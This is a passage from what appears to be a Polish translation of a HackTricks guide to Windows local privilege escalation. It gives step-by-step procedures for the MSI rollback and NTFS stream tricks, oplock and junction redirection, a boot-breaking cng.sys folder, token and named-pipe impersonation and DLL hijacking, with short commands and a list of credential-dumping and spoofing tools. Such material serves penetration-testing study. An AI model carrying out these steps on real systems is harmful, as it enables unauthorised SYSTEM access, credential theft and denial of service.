Sygnalizuje, kiedy
.rbfzostał zapisany. -
Następnie czeka na inny event zanim kontynuuje deinstalację.
-
Step 4: Block Deletion of
.rbf -
Po otrzymaniu sygnału, otwórz plik
.rbfbezFILE_SHARE_DELETE— to uniemożliwia jego usunięcie. -
Następnie odesyłasz sygnał, aby deinstalacja mogła się dokończyć.
-
Windows Installer nie może usunąć
.rbf, i ponieważ nie może usunąć całej zawartości,C:\Config.Msinie zostaje usunięty. -
Step 5: Manually Delete
.rbf -
Ty (atakujący) usuwasz plik
.rbfręcznie. -
Teraz
C:\Config.Msijest pusty, gotowy do przejęcia.
W tym momencie wywołaj podatność na SYSTEM-level arbitrary folder delete, aby usunąć
C:\Config.Msi.
- Stage 2 – Replacing Rollback Scripts with Malicious Ones
-
Step 6: Recreate
C:\Config.Msiwith Weak ACLs -
Odtwórz folder
C:\Config.Msisamodzielnie. -
Ustaw słabe DACLs (np. Everyone:F), i utrzymaj otwarty handle z
WRITE_DAC. -
Step 7: Run Another Install
-
Zainstaluj
.msiponownie, z: -
TARGETDIR: lokalizacja zapisywalna. -
ERROROUT: zmienna, która wymusza awarię. -
Ta instalacja zostanie użyta do ponownego wywołania rollback, który odczytuje
.rbsi.rbf. -
Step 8: Monitor for
.rbs -
Użyj
ReadDirectoryChangesW, aby monitorowaćC:\Config.Msiaż pojawi się nowe.rbs. -
Przechwyć jego nazwę pliku.
-
Step 9: Sync Before Rollback
-
.msizawiera custom install action (SyncBeforeRollback), która: -
Sygnalizuje event, gdy
.rbszostanie utworzony. -
Następnie czeka zanim będzie kontynuować.
-
Step 10: Reapply Weak ACL
-
Po otrzymaniu eventu
.rbs created: -
Windows Installer ponownie stosuje silne ACL do
C:\Config.Msi. -
Ale ponieważ nadal masz handle z
WRITE_DAC, możesz ponownie nałożyć słabe ACL.
ACLs są egzekwowane tylko przy otwarciu handle, więc nadal możesz zapisywać do folderu.
-
Step 11: Drop Fake
.rbsand.rbf -
Nadpisz plik
.rbsfałszywym rollback script, który instruuje Windows, aby: -
Przywrócił twój plik
.rbf(złośliwy DLL) do uprzywilejowanej lokalizacji (np.C:\Program Files\Common Files\microsoft shared\ink\HID.DLL). -
Upuścił fałszywe
.rbfzawierające złośliwy SYSTEM-level payload DLL. -
Step 12: Trigger the Rollback
-
Sygnalizuj event synchronizacji, aby instalator wznowił działanie.
-
Skonfigurowana jest type 19 custom action (
ErrorOut), która celowo przerywa instalację w określonym punkcie. -
To powoduje, że rollback się rozpoczyna.
-
Step 13: SYSTEM Installs Your DLL
-
Windows Installer:
-
Odczytuje twój złośliwy
.rbs. -
Kopiuje twój
.rbfDLL do docelowej lokalizacji. -
Masz teraz złośliwy DLL w ścieżce ładującej się przez SYSTEM.
-
Final Step: Execute SYSTEM Code
-
Uruchom zaufany auto-elevated binary (np.
osk.exe), który załaduje DLL, który przejąłeś. -
Bam: Twój kod zostaje wykonany jako SYSTEM.
From Arbitrary File Delete/Move/Rename to SYSTEM EoP
Główna technika rollback MSI (poprzednia) zakłada, że możesz usunąć cały folder (np. C:\Config.Msi). A co jeśli twoja podatność pozwala tylko na arbitrary file deletion?
Możesz wykorzystać NTFS internals: każdy folder ma ukryty alternate data stream o nazwie:
C:\SomeFolder::$INDEX_ALLOCATION
Ten strumień przechowuje metadane indeksu folderu.
Tak więc, jeśli usuniesz strumień ::$INDEX_ALLOCATION folderu, NTFS usuwa cały folder z systemu plików.
Możesz to zrobić przy użyciu standardowych API do usuwania plików, takich jak:
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
Mimo że wywołujesz API usuwania pliku, ono usuwa sam folder.
Od usuwania zawartości folderu do SYSTEM EoP
Co jeśli twoja prymitywna operacja nie pozwala na usunięcie dowolnych plików/folderów, ale pozwala na usunięcie zawartości folderu kontrolowanego przez atakującego?
- Krok 1: Utwórz przynętę — folder i plik
- Create:
C:\temp\folder1 - Inside it:
C:\temp\folder1\file1.txt
- Krok 2: Nałóż oplock na
file1.txt
- The oplock pauses execution when a privileged process tries to delete
file1.txt.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
- Krok 3: Wywołaj proces SYSTEM (np.
SilentCleanup)
- Ten proces skanuje foldery (np.
%TEMP%) i próbuje usunąć ich zawartość. - Gdy dotrze do
file1.txt, oplock wyzwala się i przekazuje kontrolę do twojego callbacka.
- Krok 4: Wewnątrz oplock callbacka – przekieruj usuwanie
-
Opcja A: Przenieś
file1.txtgdzie indziej -
To opróżnia
folder1bez przerywania oplocka. -
Nie usuwaj
file1.txtbezpośrednio — to zwolni oplock przedwcześnie. -
Opcja B: Konwertuj
folder1na junction:
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
- Opcja C: Utwórz symlink w
\RPC Control:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
To atakuje wewnętrzny strumień NTFS, który przechowuje metadane folderu — jego usunięcie usuwa folder.
- Krok 5: Zwolnienie oplock
- Proces SYSTEM kontynuuje i próbuje usunąć
file1.txt. - Ale teraz, z powodu junction + symlink, faktycznie usuwa:
C:\Config.Msi::$INDEX_ALLOCATION
Wynik: C:\Config.Msi jest usuwany przez SYSTEM.
Od utworzenia dowolnego folderu do trwałego DoS
Wykorzystaj prymityw, który pozwala utworzyć dowolny folder jako SYSTEM/admin — nawet jeśli nie możesz zapisywać plików lub ustawić słabych uprawnień.
Utwórz folder (nie plik) o nazwie krytycznego sterownika Windows, np.:
C:\Windows\System32\cng.sys
- Ta ścieżka zwykle odpowiada sterownikowi trybu jądra
cng.sys. - Jeśli wstępnie utworzysz ją jako folder, Windows nie załaduje rzeczywistego sterownika podczas rozruchu.
- Następnie Windows próbuje załadować
cng.syspodczas rozruchu. - Widząc folder, nie udaje mu się rozwiązać rzeczywistego sterownika, i zawiesza się lub zatrzymuje rozruch.
- Nie ma żadnego mechanizmu awaryjnego, i brakuje możliwości odzyskania bez zewnętrznej interwencji (np. naprawa rozruchu lub dostęp do dysku).
From High Integrity to System
Nowa usługa
Jeśli już działasz w procesie o High Integrity, path to SYSTEM może być prosty — wystarczy utworzyć i uruchomić nową usługę:
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
Tip
Podczas tworzenia binarki usługi upewnij się, że jest to prawidłowa usługa lub że binarka wykonuje niezbędne działania wystarczająco szybko, ponieważ zostanie zabita po 20s jeśli nie jest prawidłową usługą.
AlwaysInstallElevated
Z procesu o High Integrity możesz spróbować włączyć wpisy rejestru AlwaysInstallElevated i zainstalować reverse shell używając opakowania .msi.
More information about the registry keys involved and how to install a .msi package here.
High + SeImpersonate privilege to System
Możesz find the code here.
From SeDebug + SeImpersonate to Full Token privileges
Jeśli masz te uprawnienia tokena (prawdopodobnie znajdziesz je już w procesie o High Integrity), będziesz w stanie otworzyć niemal dowolny proces (z wyjątkiem procesów chronionych) z uprawnieniem SeDebug, skopiować token procesu i utworzyć dowolny proces z tym tokenem.
Przy użyciu tej techniki zwykle wybiera się proces uruchomiony jako SYSTEM posiadający wszystkie uprawnienia tokena (tak, można znaleźć procesy SYSTEM bez wszystkich uprawnień tokena).
Możesz znaleźć przykład kodu wykonującego proponowaną technikę tutaj.
Named Pipes
Ta technika jest używana przez meterpreter do eskalacji w getsystem. Technika polega na utworzeniu pipe’a i następnie utworzeniu/nadużyciu usługi, aby pisała do tego pipe’a. Następnie server, który utworzył pipe używając uprawnienia SeImpersonate, będzie w stanie podszyć się pod token klienta pipe’a (usługi), uzyskując uprawnienia SYSTEM.
Jeśli chcesz dowiedzieć się więcej o named pipes powinieneś przeczytać to.
Jeśli chcesz przeczytać przykład jak przejść z High Integrity do System używając named pipes przeczytaj to.
Dll Hijacking
Jeśli uda Ci się zajmować dll będącą ładowaną przez proces uruchomiony jako SYSTEM, będziesz mógł wykonać dowolny kod z tymi uprawnieniami. Dlatego Dll Hijacking jest również przydatny do tego rodzaju eskalacji uprawnień, i co więcej jest znacznie łatwiejszy do osiągnięcia z procesu o wysokiej integralności, ponieważ będzie on miał uprawnienia zapisu w folderach używanych do ładowania dll.
Możesz learn more about Dll hijacking here.
From Administrator or Network Service to System
- https://github.com/sailay1996/RpcSsImpersonator
- https://decoder.cloud/2020/05/04/from-network-service-to-system/
- https://github.com/decoder-it/NetworkServiceExploit
From LOCAL SERVICE or NETWORK SERVICE to full privs
Read: https://github.com/itm4n/FullPowers
More help
Useful tools
Best tool to look for Windows local privilege escalation vectors: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) – Sprawdza błędne konfiguracje i wrażliwe pliki (check here). Detected.
JAWS – Sprawdza możliwe błędne konfiguracje i zbiera informacje (check here).
privesc – Sprawdza błędne konfiguracje
SessionGopher – Wyodrębnia zapisane sesje PuTTY, WinSCP, SuperPuTTY, FileZilla i RDP. Użyj -Thorough lokalnie.
Invoke-WCMDump – Wyodrębnia credentials z Credential Manager. Detected.
DomainPasswordSpray – Rozprowadza zebrane hasła po domenie
Inveigh – Inveigh to PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer i narzędzie man-in-the-middle.
WindowsEnum – Podstawowa enumeracja Windows pod kątem privescSherlock ~~~~ – Szuka znanych podatności privesc (DEPRECATED for Watson)WINspect – Lokalna weryfikacja (Wymaga uprawnień Admin)
Exe
Watson – Szuka znanych podatności privesc (wymaga skompilowania w VisualStudio) (precompiled)
SeatBelt – Enumeruje hosta szukając błędnych konfiguracji (bardziej narzędzie do zbierania informacji niż privesc) (wymaga kompilacji) (precompiled)
LaZagne – Wyodrębnia poświadczenia z wielu programów (precompiled exe na githubie)
SharpUP – Port PowerUp do C#Beroot ~~~~ – Sprawdza błędne konfiguracje (wykonywalny precompiled na githubie). Niezalecane. Nie działa dobrze na Win10.Windows-Privesc-Check – Sprawdza możliwe błędne konfiguracje (exe z python). Niezalecane. Nie działa dobrze na Win10.
Bat
winPEASbat – Narzędzie stworzone w oparciu o ten post (nie wymaga accesschk, by działać poprawnie, ale może go używać).
Local
Windows-Exploit-Suggester – Odczytuje wynik systeminfo i rekomenduje działające exploity (lokalny python)
Windows Exploit Suggester Next Generation – Odczytuje wynik systeminfo i rekomenduje działające exploity (lokalny python)
Meterpreter
multi/recon/local_exploit_suggestor
Musisz skompilować projekt używając właściwej wersji .NET (see this). Aby zobaczyć zainstalowaną wersję .NET na hoście ofiary możesz zrobić:
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
Źródła
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
-
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-
https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
-
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft
-
Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks

